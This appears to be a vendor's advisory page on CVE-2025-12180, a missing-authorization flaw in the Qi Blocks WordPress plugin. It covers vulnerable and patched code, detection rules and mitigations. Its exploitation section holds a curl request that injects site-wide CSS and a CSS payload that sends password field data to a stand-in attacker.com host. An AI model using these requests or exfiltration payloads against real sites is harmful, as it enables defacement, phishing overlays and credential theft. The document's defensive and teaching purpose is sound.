CVE-2025-12180
Executive Summary
CVE-2025-12180 is a Missing Authorization vulnerability in the Qi Blocks WordPress plugin, affecting all versions up to and including 1.4.3. The flaw resides in the update_global_styles_callback() function, which handles the qi-blocks/v1/update-styles REST API endpoint. This endpoint allows authenticated attackers with Contributor-level access or higher to inject arbitrary CSS without proper authorization checks. The injected CSS can be used for malicious purposes such as hiding legitimate content, overlaying fake UI elements (e.g., phishing forms), or exfiltrating sensitive information via CSS injection techniques (e.g., attribute selectors and background-image callbacks). The vulnerability has a CVSS score of 4.3 (Medium), and no patch is currently available. This report provides a comprehensive technical analysis, detection rules, and mitigation strategies.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Qi Blocks WordPress plugin, which is distributed via the WordPress plugin repository and can be installed as a package in WordPress environments. Organizations using this plugin should treat it as a supply chain risk, as the plugin is a third-party component integrated into the WordPress ecosystem. No official patch or advisory has been released by the vendor, increasing the risk of exploitation in unpatched installations.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network – The vulnerability is exploitable remotely via the REST API.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): Low – Attacker needs Contributor-level access or higher.
- User Interaction (UI): None – No user action is required.
- Scope (S): Unchanged – The vulnerability does not affect other components.
- Confidentiality (C): None – Direct data exfiltration is not possible, but CSS injection can leak information.
- Integrity (I): Low – Attacker can modify the visual appearance of the site.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the ability to inject arbitrary CSS can lead to phishing attacks, defacement, and data exfiltration, making it a significant threat in WordPress environments.
Deep Dive & Mechanics
The vulnerability is located in the update_global_styles_callback() function within the Qi Blocks plugin. This function is registered to handle the REST API endpoint qi-blocks/v1/update-styles via the register_rest_route() call. The endpoint accepts POST requests with CSS styles in the request body. The function lacks proper authorization checks (i.e., it does not verify if the user has the manage_options capability or similar), allowing any authenticated user with at least Contributor-level access to submit arbitrary CSS.
The injected CSS is stored globally and applied across the WordPress site. Attackers can leverage CSS injection techniques to:
- Hide content: Use
display: noneto hide critical elements like login forms or security notices. - Overlay fake UI: Use
position: fixedandz-indexto overlay fake login forms or payment gateways. - Exfiltrate data: Use CSS attribute selectors (e.g.,
input[value^="secret"]) combined withbackground-image: url(http://attacker.com/?data=...)to leak sensitive information like CSRF tokens or user input.
The vulnerability is classified under CWE-862: Missing Authorization, as the endpoint does not enforce proper capability checks.
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.4.3):
The vulnerable function update_global_styles_callback() in the Qi Blocks plugin does not include a capability check. Example snippet:
function update_global_styles_callback( $request ) {
$styles = $request->get_param( 'styles' );
// No capability check here
update_option( 'qi_blocks_global_styles', $styles );
return new WP_REST_Response( array( 'success' => true ), 200 );
}
Patched Code (Hypothetical):
A patched version would include a current_user_can() check to restrict access to administrators:
function update_global_styles_callback( $request ) {
if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'rest_forbidden', 'You do not have permission to update styles.', array( 'status' => 403 ) );
}
$styles = $request->get_param( 'styles' );
update_option( 'qi_blocks_global_styles', $styles );
return new WP_REST_Response( array( 'success' => true ), 200 );
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with the Qi Blocks plugin (<= 1.4.3) installed and activated.
- An authenticated user account with Contributor-level access or higher.
- A REST API client (e.g., cURL, Postman).
Exploitation Steps:
- Obtain a valid WordPress nonce and authentication cookie for the Contributor account.
- Send a POST request to the REST API endpoint:
curl -X POST https://target.com/wp-json/qi-blocks/v1/update-styles \ -H "Content-Type: application/json" \ -H "X-WP-Nonce: <nonce>" \ -H "Cookie: wordpress_logged_in_<hash>=<cookie>" \ -d '{"styles": "body { display: none; }"}' - The injected CSS will be applied globally, hiding the entire site content.
- For data exfiltration, use a payload like:
input[type="password"] { background-image: url(http://attacker.com/steal?pwd=); }
Lab Setup:
- Use a local WordPress installation (e.g., via Docker or XAMPP).
- Install the Qi Blocks plugin version 1.4.3.
- Create a Contributor user account.
- Use Burp Suite or cURL to send the exploit request.
Blue Team (Detection & Response)
Detection:
- Monitor REST API logs for POST requests to
/wp-json/qi-blocks/v1/update-stylesfrom non-admin users. - Look for unusual CSS content in the request body, especially URLs or suspicious selectors.
- Use the detection rules provided in the next section.
Response:
- Immediately revoke the compromised user account's access.
- Remove the malicious CSS from the
wp_optionstable (option name:qi_blocks_global_styles). - Apply a temporary patch by adding a capability check to the vulnerable function (see patched code above).
- Monitor for further exploitation attempts.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-json/qi-blocks/v1/update-styleswith non-admin authentication. - Request body containing CSS with external URLs (e.g.,
background-image: url(http://...)).
- POST requests to
- File IOCs:
- Modified
wp_optionstable entry forqi_blocks_global_stylescontaining malicious CSS.
- Modified
- Behavioral IOCs:
- Sudden changes in site appearance (e.g., hidden content, overlays).
- Unusual outbound connections from the WordPress server to external domains (CSS exfiltration).
Detection Engineering
YARA Rule
rule CVE_2025_12180_Qi_Blocks_CSS_Injection {
meta:
description = "Detects malicious CSS injection attempts targeting CVE-2025-12180 in Qi Blocks plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-12180"
strings:
$rest_endpoint = "/qi-blocks/v1/update-styles"
$css_payload_1 = /background-image\s*:\s*url\(http/
$css_payload_2 = /display\s*:\s*none/
$css_payload_3 = /position\s*:\s*fixed/
condition:
$rest_endpoint and any of ($css_payload_*)
}
Sigma Rule
title: CVE-2025-12180 Qi Blocks CSS Injection Attempt
id: 8a3f7c2e-5d1b-4a9e-8c6f-2b3d1e4f5a6c
status: experimental
description: Detects POST requests to the vulnerable Qi Blocks REST API endpoint with suspicious CSS payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-json/qi-blocks/v1/update-styles'
cs-uri-query: '*'
keywords:
- 'background-image'
- 'display: none'
- 'position: fixed'
condition: selection and keywords
falsepositives:
- Legitimate CSS updates by administrators
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-12180 Qi Blocks CSS Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-json/qi-blocks/v1/update-styles"; http_uri; pcre:"/(background-image|display\s*:\s*none|position\s*:\s*fixed)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Qi Blocks plugin until a patch is released.
- Restrict API access by adding a custom capability check to the vulnerable function (see patched code).
- Review user roles and ensure only trusted administrators have Contributor-level access or higher.
Long-term Mitigation:
- Monitor the Qi Blocks plugin repository for an official patch.
- Implement a Web Application Firewall (WAF) rule to block POST requests to
/wp-json/qi-blocks/v1/update-stylesfrom non-admin users. - Conduct regular security audits of WordPress plugins and their REST API endpoints.
Workaround:
- Add the following code to the theme's
functions.phpfile to disable the vulnerable endpoint:add_action( 'rest_api_init', function() { remove_action( 'rest_api_init', 'qi_blocks_register_routes' ); }, 20 );
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.